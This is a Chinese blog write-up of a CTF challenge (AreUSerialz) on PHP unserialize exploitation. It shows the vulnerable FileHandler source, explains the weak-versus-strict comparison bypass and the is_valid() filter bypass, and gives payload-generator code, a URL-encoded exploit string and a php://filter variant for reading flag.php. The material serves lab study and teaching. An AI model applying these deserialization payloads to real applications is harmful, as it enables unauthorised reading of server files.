首页 > 编程语言 >PHP反序列化补档

PHP反序列化补档

时间:2023-09-13 14:57:20浏览次数:63  
标签:function PHP res 22% 3A% 补档 output 序列化

这次遇到了跟常规的反序列化不一样,但本质都是一样的。

提了点难度的反序列化基本上都是加了一些特殊的机制或者过滤规则。

先来看看题目吧:

来自   [网鼎杯 2020 青龙组]AreUSerialz

打开就是源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

按照常规思路就是找pop链,这里也很清晰,就是从__construct() => process() => read() =>output()。

按道理来说按要求直接赋属性值就行了,但是发现__destruct()方法里,用了强比较 "===" 来使得属性强制等于1,本来我们应该赋2的,但是发现其他地方使用的是弱类型比较 "==",

而且php也有这个特性:

$a = '1';
$b = 1;

$a == $b;  //true
$a === $b; //false  

那么我们只需要在赋值的时候赋$op = 2就能绕过此处了。

还有一处是在类外部的is_valid()函数:

(来自https://blog.csdn.net/Oavinci/article/details/106998738

is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

如:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

 

此处我们选择修改权限为public来绕过,payload生成:

<?php

class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content = "balabala";
}

$f = new FileHandler();
echo urlencode(serialize($f));

?>

payload如下:

/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22balabala%22%3B%7D

输入网址就成功了,此处虽然没有回显,但我们查看一下源码,发现底部echo出来了。

 

总结:

特殊的绕过机制和过滤手段视情况而定;

没有直接回显出flag的可以查看一下源码。

----------------------------------------------------------------------------------

后来我又看了wp,发现这道直接可以文件包含伪协议。因为用了include()方法。

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public  $content = "balabala";
 
}
 
$f = new FileHandler();
echo urlencode(serialize($a));
?>

查看源码得到base64解码得到flag:

 

好像还可以直接找文件路径:

详见:https://blog.csdn.net/Oavinci/article/details/106998738

标签:function,PHP,res,22%,3A%,补档,output,序列化
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17699675.html

相关文章

  • PHP中接口interface的作用
    对象接口使用接口(interface),可以指定某个类必须实现哪些方法,但不需要定义这些方法的具体内容。由于接口(interface)和类(class)、trait共享了命名空间,所以它们不能重名。接口就像定义一个标准的类一样,通过interface关键字替换掉class关键字来定义,但其中所有的方法都是空的。接......
  • java序列化与反序列化
    理解Java序列化和反序列化serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。序列化可以将数据永久保存在磁盘上(通常保存在文件中)。deserialization(反序列化):将保存在磁盘文件中的java字节码重新转换成java对象称为反......
  • 【PHP】读取本地文件夹中所有图片并显示
    <?//获取文件夹下的所有文件$dir_str='';$imgType=array('gif','png','jpg','jpeg','bmp');$handle=opendir("./".$dir_str);//指定目录while(false!==($file=readdir($handle))){//遍历改文件所......
  • Java反序列化:CommonsCollections3调试分析
    基础知识1.Java反射1.1getConstructorgetConstructor是Java反射API中的一个方法,用于获取类的公共构造方法的引用。构造方法是一种特殊的方法,用于创建类的实例(对象),并且通常在对象创建时进行初始化。getConstructor的函数原型:publicConstructor<?>getConstructor(Class......
  • php扩展Guzzle 封装post请求
    https://guzzle-cn.readthedocs.io/zh_CN/latest/Guzzle是一个PHP的HTTP客户端,用来轻而易举地发送请求,并集成到我们的WEB服务上。测试用的windows环境安装composerrequireguzzlehttp/guzzle:~6.0使用useGuzzleHttp\Client;$client=newClient();$url="http://www.xxx.com"......
  • 记录一个比较完善的php的curl请求方法的demo
    functionhttpRequest($url,$dataStr="",$isPost=0,$headers=[]){$httpInfo=[];$ch=curl_init();curl_setopt($ch,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_0);curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0(Window......
  • 在thinkphp6中使用leftJoin时,怎么使用REPLACE?
    在ThinkPHP6中,你可以使用db()函数来构建复杂的SQL查询,以实现JOIN并使用REPLACE函数。可以按照以下方式修改你的代码:$res->leftJoin('work','work.workID=REPLACE(entry_in.workID,"JP","")')->where('work.customer_id',$customer_id);在这......
  • 云上的甜蜜早安:腾讯云云函数助力PHP打造女友专属每日推送
    用腾讯云的云函数做一个微信公众号早安,每天定时发送早安给你的女朋友!1.首先我们登录腾讯云,在搜索栏搜索云函数,或直接用这个链接进入curl.qcloud.com/Td0IkpmD2.进入云函数,点击立即体验3.这里我们选择 按照步骤选择 php4.再就是配置页面,这里我们只需要配置两个地方,也就是......
  • 基于PHP vue2+element+ laravel8+ mysql开发的不良事件管理系统源码
    技术架构:PHP vue2+element+laravel8+mysql5.7+vscode不良事件上报系统通过“事前的人员知识培训管理和制度落地促进”、“事中的事件上报和跟进处理”、以及“事后的原因分析和工作持续优化”,结合预存上百套已正在使用的模板,帮助医院从对护理事件、药品事件、医疗器械事件、......
  • 【心得】TP6,使用phpspreadsheet库进行EXCEL的数据导入导出
    在日常开发中,我们会遇到大批量的数据导出以及导入,之前的PHP旧库现在已经停更了,如下提示:composerrequirephpoffice/phpexcelPackagephpoffice/phpexcelisabandoned,youshouldavoidusingit.Usephpoffice/phpspreadsheetinstead.phpoffice/phpexcel包已废弃,应避免......